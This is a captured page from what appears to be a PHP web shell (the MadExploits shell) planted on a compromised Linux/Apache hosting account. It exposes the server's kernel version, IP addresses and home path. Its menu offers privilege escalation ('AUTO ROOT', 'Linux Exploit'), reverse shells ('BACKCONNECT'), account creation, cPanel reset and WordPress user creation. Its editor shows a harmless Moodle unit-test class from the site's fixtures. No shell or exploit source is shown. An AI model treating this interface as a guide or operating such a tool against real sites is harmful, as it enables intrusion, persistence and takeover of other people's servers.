Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.1.130
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
course /
tests /
fixtures /
[ HOME SHELL ]
Name
Size
Permission
Action
course_capability_assignment.p...
3.45
KB
-rw-r--r--
format_theunittest.php
2.86
KB
-rw-r--r--
mock_hooks.php
5.93
KB
-rw-r--r--
testable_course_edit_form.php
1.47
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : course_capability_assignment.php
<?php /** * Aids in capability assignment and alteration of the assigned capability. * * @package core_course * @copyright 2013 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class course_capability_assignment { /** * @var array The capability that has been assigned. */ protected $capability; /** * @var int The role ID that the assignment was made for. */ protected $roleid; /** * @var int The context ID against which the assignment was made. */ protected $contextid; /** * Assigns a capability to a role at the given context giving it permission. * * @param string|array $capability The capability to assign. * @param int $roleid The roleID to assign to. * @param int $contextid The contextID for where to make the assignment. * @return course_capability_assignment */ public static function allow($capability, $roleid, $contextid) { return new course_capability_assignment($capability, $roleid, $contextid, CAP_ALLOW); } /** * Assigns a capability to a role at the given context prohibiting it. * * @param string|array $capability The capability to assign. * @param int $roleid The roleID to assign to. * @param int $contextid The contextID for where to make the assignment. * @return course_capability_assignment */ public static function prohibit($capability, $roleid, $contextid) { return new course_capability_assignment($capability, $roleid, $contextid, CAP_PROHIBIT); } /** * Assigns a capability to a role at the given context preventing it. * * @param string|array $capability The capability to assign. * @param int $roleid The roleID to assign to. * @param int $contextid The contextID for where to make the assignment. * @return course_capability_assignment */ public static function prevent($capability, $roleid, $contextid) { return new course_capability_assignment($capability, $roleid, $contextid, CAP_PREVENT); } /** * Creates a new course_capability_assignment object * * @param string|array $capability The capability to assign. * @param int $roleid The roleID to assign to. * @param int $contextid The contextID for where to make the assignment. * @param int $permission The permission to apply. One of CAP_ALLOW, CAP_PROHIBIT, CAP_PREVENT. * @return course_capability_assignment */ protected function __construct($capability, $roleid, $contextid, $permission) { if (is_string($capability)) { $capability = array($capability); } $this->capability = $capability; $this->roleid = $roleid; $this->contextid = $contextid; $this->assign($permission); } /** * Assign a new permission. * @param int $permission One of CAP_ALLOW, CAP_PROHIBIT, CAP_PREVENT */ public function assign($permission) { foreach ($this->capability as $capability) { assign_capability($capability, $permission, $this->roleid, $this->contextid, true); } accesslib_clear_all_caches_for_unit_testing(); } /** * Revokes the capability assignment. */ public function revoke() { foreach ($this->capability as $capability) { unassign_capability($capability, $this->roleid, $this->contextid); } accesslib_clear_all_caches_for_unit_testing(); } }
Close